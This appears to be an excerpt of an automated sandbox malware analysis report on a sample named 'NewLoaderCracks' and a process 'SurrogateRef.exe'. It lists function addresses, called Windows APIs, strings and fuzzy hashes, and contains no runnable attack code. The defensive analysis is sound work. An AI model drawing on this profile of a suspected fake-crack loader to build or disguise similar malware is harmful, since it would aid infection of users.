Instruction ID: 737bfb1c3480ca1bff2f05108ff7ff09b010c172f08616347dd504f9f6fabc3a
Opcode Fuzzy Hash: abab0c1df838b26785e4009ed5e7fb2b5efc900a83dbe27da81885f46e9ffbf9
Instruction Fuzzy Hash: 1A415371804159AADB24EB54DD5AEEE7B7CFF85308F00409AB509A2092DB745F88DF61

Function 0054B66C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

UNC, xrefs: 0054B708
\\?\, xrefs: 0054B6BE, 0054B6FA, 0054B75B, 0054B7AE

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: bf4aa1fe75bfb441e662ac83ae13453d6f818689d03259c01a3739a7c5a1dd0e
Instruction ID: c6c4af9c5d503019dce717180286b284daf703626642bfbf21aa65a3be751da2
Opcode Fuzzy Hash: bf4aa1fe75bfb441e662ac83ae13453d6f818689d03259c01a3739a7c5a1dd0e
Instruction Fuzzy Hash: 6F41C23584021ABAEF20AF25DC45EEF7FADFF81398B104425F958A3252E770DA51DB60

Function 00554230 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 005543D8

Strings

XCW, xrefs: 00554379
HCW, xrefs: 00554345

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Exception@8Throw
String ID: HCW$XCW
API String ID: 2005118841-2329088137
Opcode ID: a4b7bfea6c4fa9b61be5d291dc1f0d0d1952ecb835ca5cb09fbca330007fe329
Instruction ID: cb76c3627eb0f7180c6c635eef606bfe3ace459f4e6fca4de02b8ca0151addd7
Opcode Fuzzy Hash: a4b7bfea6c4fa9b61be5d291dc1f0d0d1952ecb835ca5cb09fbca330007fe329
Instruction Fuzzy Hash: E1416F746007018FD314DF28D495BAABBE5FF98305F05492EE89EC7361EB72E8488B41

Function 00558FB6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00558FC4

Strings

Shell.Explorer, xrefs: 00558FEF
about:blank, xrefs: 00559082

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 6d29ababc02fbfe07f89a8b3a2cc505c7238c432f4a4835eb1c87b649a9a7d70
Instruction ID: 0e902082725d7b2cc85156d3b8b75060032d4bb5ac92af1f25f91618d82476e1
Opcode Fuzzy Hash: 6d29ababc02fbfe07f89a8b3a2cc505c7238c432f4a4835eb1c87b649a9a7d70
Instruction Fuzzy Hash: 09218571614305DFCB089F64D8A992A7BA9FF84712B14856EFC099B292DB74EC04DB60

Function 0055D44D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

DialogBoxParamW.USER32(GETPASSWORD1,00010408,0055A990,?,?), ref: 0055D4C5

Strings

xjY, xrefs: 0055D4D5
GETPASSWORD1, xrefs: 0055D4BA

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: DialogParam
String ID: GETPASSWORD1$xjY
API String ID: 665744214-1267677434
Opcode ID: 0955cff9f229cf6e48717e2a7af2dc40c01ddf6abd16bd08cb8d666d4c5d7123
Instruction ID: baeb623ad3f31255b066960a1dad4fcae492523ab43571795361c30aa78f80f3
Opcode Fuzzy Hash: 0955cff9f229cf6e48717e2a7af2dc40c01ddf6abd16bd08cb8d666d4c5d7123
Instruction Fuzzy Hash: 71112672600248ABDF31DE34AC46BAA3FE8B706316F048065BD49B7191D6F0AC4CA770

Function 0054EBF2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 0054EB73: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0054EB92
Part of subcall function 0054EB73: GetProcAddress.KERNEL32(005881C0,CryptUnprotectMemory), ref: 0054EBA2

GetCurrentProcessId.KERNEL32(?,?,?,0054EBEC), ref: 0054EC84

Strings

CryptProtectMemory failed, xrefs: 0054EC3B
CryptUnprotectMemory failed, xrefs: 0054EC7C

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 6648bbf92abf4b381e3d998d7600f24e80cac39577cdc9a0ecbc04495c0fc17d
Instruction ID: 440a488b1c00d1f43e29081f31255bf3fe5609aed38a9a7700fcfaf3fa7ec395
Opcode Fuzzy Hash: 6648bbf92abf4b381e3d998d7600f24e80cac39577cdc9a0ecbc04495c0fc17d
Instruction Fuzzy Hash: D3113332A00224ABDB149F34EC8BBEE3F54FF40728B048019FC056B282CB35AE45A7D1

Function 00569B90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00569BBE
_free.LIBCMT ref: 00569BE4

Strings

XW, xrefs: 00569C4B

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: _free
String ID: XW
API String ID: 269201875-708546550
Opcode ID: 705da87ad09896e11661aec480bc0d0e3ccf97066c1c0c36b5a4e963b4a866e9
Instruction ID: 6a0973da1660bf0d1b51813d564152ee315cf105041f861bebe16bba98a8297f
Opcode Fuzzy Hash: 705da87ad09896e11661aec480bc0d0e3ccf97066c1c0c36b5a4e963b4a866e9
Instruction Fuzzy Hash: CD11B679A006125AEB209B39BC45B663FD9BBA6730F140725F521CB2E0EF70C8466B85

Function 0055EC4A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0055F25E
___raise_securityfailure.LIBCMT ref: 0055F345

Strings

8Z, xrefs: 0055F340

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Z
API String ID: 3761405300-3945376669
Opcode ID: 9deb89581ed5ea0ffa1c4fd3c9b1ae5e60cb9f263ecabc195ceb66762d0403fa
Instruction ID: 2739b67ca829fa6e32609344507686729e6040c287b510654fccead55fc7ee22
Opcode Fuzzy Hash: 9deb89581ed5ea0ffa1c4fd3c9b1ae5e60cb9f263ecabc195ceb66762d0403fa
Instruction Fuzzy Hash: 602128B9520304CBD750DF54F9966003BE8BB6A310F10682AEA098B3E0E3B25988FF45

Function 00550889 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,005509D0,?,00000000,00000000), ref: 005508AD
SetThreadPriority.KERNEL32(?,00000000), ref: 005508F4

Part of subcall function 00546E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00546EAF

Strings

CreateThread failed, xrefs: 005508B9

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 8945fa75c155a9a44ef08ea226be428c24ae52746f11015d2af00ef56a0c6597
Instruction ID: a091f20fced0f324dc4f8e06cf684a5854306588fc0e9ad2c13050f2ab7d389c
Opcode Fuzzy Hash: 8945fa75c155a9a44ef08ea226be428c24ae52746f11015d2af00ef56a0c6597
Instruction Fuzzy Hash: 30012BB12403026FD7206F10EC95FA67BD8FF40712F10002EFE46620C1CEA16848A760

Function 0056B2AE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00568FA5: GetLastError.KERNEL32(?,00580EE8,00563E14,00580EE8,?,?,00563713,00000050,?,00580EE8,00000200), ref: 00568FA9
Part of subcall function 00568FA5: _free.LIBCMT ref: 00568FDC
Part of subcall function 00568FA5: SetLastError.KERNEL32(00000000,?,00580EE8,00000200), ref: 0056901D
Part of subcall function 00568FA5: _abort.LIBCMT ref: 00569023

_abort.LIBCMT ref: 0056B2E0
_free.LIBCMT ref: 0056B314

Strings

W, xrefs: 0056B30B

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ErrorLast_abort_free
String ID: W
API String ID: 289325740-3818464504
Opcode ID: 2cadf3b9d3270031e9f5cee43983f2e5d7d445c8241ad51b091f1eeb208fd9af
Instruction ID: d00878bd6a3b7ff6cfa414fd1669b80db08ab522a6a080a236d7cc4af2d6ec6e
Opcode Fuzzy Hash: 2cadf3b9d3270031e9f5cee43983f2e5d7d445c8241ad51b091f1eeb208fd9af
Instruction Fuzzy Hash: E5018831E01722DBD7319F59580625DBF60BF58721F19464AE924A7741CB306DC1DFC1

Function 0054130B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0054DA98: _swprintf.LIBCMT ref: 0054DABE
Part of subcall function 0054DA98: _strlen.LIBCMT ref: 0054DADF
Part of subcall function 0054DA98: SetDlgItemTextW.USER32(?,0057E154,?), ref: 0054DB3F
Part of subcall function 0054DA98: GetWindowRect.USER32(?,?), ref: 0054DB79
Part of subcall function 0054DA98: GetClientRect.USER32(?,?), ref: 0054DB85

GetDlgItem.USER32(00000000,00003021), ref: 0054134F
SetWindowTextW.USER32(00000000,005735B4), ref: 00541365

Strings

0, xrefs: 0054130E

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 95bafd26dd8d7b7408e9f60b477b07ac3ed0cc72da727d322e7d45db682d353c
Instruction ID: b40e0326f496bdf3251e8b5cebfa41d142a6edd3606709e0cf1e34aae88d29fa
Opcode Fuzzy Hash: 95bafd26dd8d7b7408e9f60b477b07ac3ed0cc72da727d322e7d45db682d353c
Instruction Fuzzy Hash: 17F0873410064CAADF251F61880EBEA3FA8BF21309F08C818BD99559A1C778C9D9EB24

Function 0055084E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00550A78,?), ref: 00550854
GetLastError.KERNEL32(?), ref: 00550860

Part of subcall function 00546E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00546EAF

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00550869

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 5a415938915474225c2b482f9c377d8c2e40983ad9ef96dd20400e96a1b69df7
Instruction ID: 3239314e0439b4de7496beef338da9aa00861874cf5dda3e6bbe16787646ce40
Opcode Fuzzy Hash: 5a415938915474225c2b482f9c377d8c2e40983ad9ef96dd20400e96a1b69df7
Instruction Fuzzy Hash: ABD0C73190802162CA003324AC0EEAB7D09BFA2330F204714F63C661E1EA2109A8A292

Function 0054DA4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,0054D32F,?), ref: 0054DA53
FindResourceW.KERNEL32(00000000,RTL,00000005,?,0054D32F,?), ref: 0054DA61

Strings

RTL, xrefs: 0054DA5B

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 81b177ff1463233747bbc965d771dfc3f5a5b6c55772a410f4ab6cd15059e47c
Instruction ID: 27906517aa0e2bb1903b0714832c3f42ef668a0eb761b96d0137c18a3adb20ff
Opcode Fuzzy Hash: 81b177ff1463233747bbc965d771dfc3f5a5b6c55772a410f4ab6cd15059e47c
Instruction Fuzzy Hash: ECC0123128535076D73017217C0DBC36D587B20F21F05044DB249DA1D0D5E5C984B660

Analysis Process: SurrogateRef.exePID: 3472, Parent PID: 3816COMMON

Executed Functions

Function 00007FFD346634E5 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2484793520.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34660000_SurrogateRef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb39127913fcdf9462dad11f1df40bff9e6e545c760683e8b7fa6c822ed66a89
Instruction ID: 3e13639c7e6415f4daa90065e3a7cb5c6b550307f85b2b1fa2b54cc00e882530
Opcode Fuzzy Hash: fb39127913fcdf9462dad11f1df40bff9e6e545c760683e8b7fa6c822ed66a89
Instruction Fuzzy Hash: B5B1A171B18A598FEB94DB98C8657ED7BE1FF9A310F40017AD00ED32D6DB7868418740

Function 00007FFD34663565 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2484793520.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34660000_SurrogateRef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b520465d14a81ff41050a96afcc87ca4870a677b732c99dc0e3d2739c1bd453
Instruction ID: f1a1674ca5ce452a8fb26e83621f862240784eee4c94c5820b64335e368204b6
Opcode Fuzzy Hash: 8b520465d14a81ff41050a96afcc87ca4870a677b732c99dc0e3d2739c1bd453
Instruction Fuzzy Hash: 8B819272B1CA598FEB94DB9CD8657EC7BE1FB96324F50017AD00ED32D6DBA828418740

Function 00007FFD34661688 Relevance: 1.5, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

2Eo4, xrefs: 00007FFD34661E53

Memory Dump Source

Source File: 00000005.00000002.2484793520.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34660000_SurrogateRef.jbxd

Similarity

API ID:
String ID: 2Eo4
API String ID: 0-3471188928
Opcode ID: 679e57574b74409b1c888977b0b2732227117d07f746d586709ea1edd1423782
Instruction ID: 84d166a0e15d40b87ffe69e54e46ce1edaf2ccb3acad05a17dde14c018db5a98
Opcode Fuzzy Hash: 679e57574b74409b1c888977b0b2732227117d07f746d586709ea1edd1423782
Instruction Fuzzy Hash: 3B818031B0CA594FDB59DE1C88A55E977E2FFD9314B14416EE59ED3282CE38EC028781

Function 00007FFD34660A01 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

0vU4, xrefs: 00007FFD34660A70

Memory Dump Source

Source File: 00000005.00000002.2484793520.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34660000_SurrogateRef.jbxd

Similarity

API ID:
String ID: 0vU4
API String ID: 0-1735094011
Opcode ID: 30a79d8181a5843af5e27f2f173a69f8cadcd23d15d209df0b71174888333aa3
Instruction ID: 2b3663c61e62d0248cc0879caf1e7312333504bc884132c0712583086cf14588
Opcode Fuzzy Hash: 30a79d8181a5843af5e27f2f173a69f8cadcd23d15d209df0b71174888333aa3
Instruction Fuzzy Hash: 39118B30A18A1A5EEB41EF6888A92E977E1FF5A350F4045B6D409C61A2EE3CA9449700

Function 00007FFD346611DD Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

hyU4, xrefs: 00007FFD3466124D

Memory Dump Source

Source File: 00000005.00000002.2484793520.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34660000_SurrogateRef.jbxd

Similarity

API ID:
String ID: hyU4
API String ID: 0-1653477003
Opcode ID: 1fbcd0214f7819997c2492aee0e80ddc333b764ba262c583366a509d9c6d54a5
Instruction ID: 09f04cc204c5a91e7eb5fa133a5a4117ade28a9f5b8fd84b0b04c98b606e2ef5
Opcode Fuzzy Hash: 1fbcd0214f7819997c2492aee0e80ddc333b764ba262c583366a509d9c6d54a5
Instruction Fuzzy Hash: 5B11BF70A0D9594EEB59EF6484A96F97BE0FF5A311F0004BED14EC60D6EE3D6584D700

Function 00007FFD346611F0 Relevance: 1.3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

hyU4, xrefs: 00007FFD3466124D

Memory Dump Source

Source File: 00000005.00000002.2484793520.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34660000_SurrogateRef.jbxd

Similarity

API ID:
String ID: hyU4
API String ID: 0-1653477003
Opcode ID: 42988606ad28061cef0b338fd93080b771319fe75af8edaf4d34a3a1ed51c7d4
Instruction ID: 6c0af4ab96b7a28f2e7d3ac1ea2678b963d4d392db0e2f3cc900378b00390bbe
Opcode Fuzzy Hash: 42988606ad28061cef0b338fd93080b771319fe75af8edaf4d34a3a1ed51c7d4
Instruction Fuzzy Hash: A5F0FF70E1996E4AEB589F6888A83F973E8FB86221F00047AE54EC20C5EE3C1494E640

Function 00007FFD34661CCD Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2484793520.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34660000_SurrogateRef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaba134311d43c816dac5e0cd81f2a920fc719fa0b186ce2ef0af8b1847c657d
Instruction ID: cbec2c4930a854a667d221290e4ff9e446a7c7cfef120da9880294b124ebcf9a
Opcode Fuzzy Hash: aaba134311d43c816dac5e0cd81f2a920fc719fa0b186ce2ef0af8b1847c657d
Instruction Fuzzy Hash: 0951D331B08A998FDB58DE1888B55F977E2FFD9314B14457ED59AC3282CE38EC028781

Function 00007FFD3466B3E5 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2484793520.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34660000_SurrogateRef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d23006560a12d3a1a4ae6f3062e220424897e1b652935191712dc27ba5e848c5
Instruction ID: 7fe0df72e8d7cfcda7d6dacf9663eecadd23e4689aa5fa5411967736104cb172
Opcode Fuzzy Hash: d23006560a12d3a1a4ae6f3062e220424897e1b652935191712dc27ba5e848c5
Instruction Fuzzy Hash: 71510A70E1892D8EEB94EF58C4A56EDBBE1FF5A310F50013AD10DE7291DE3CA8419B50

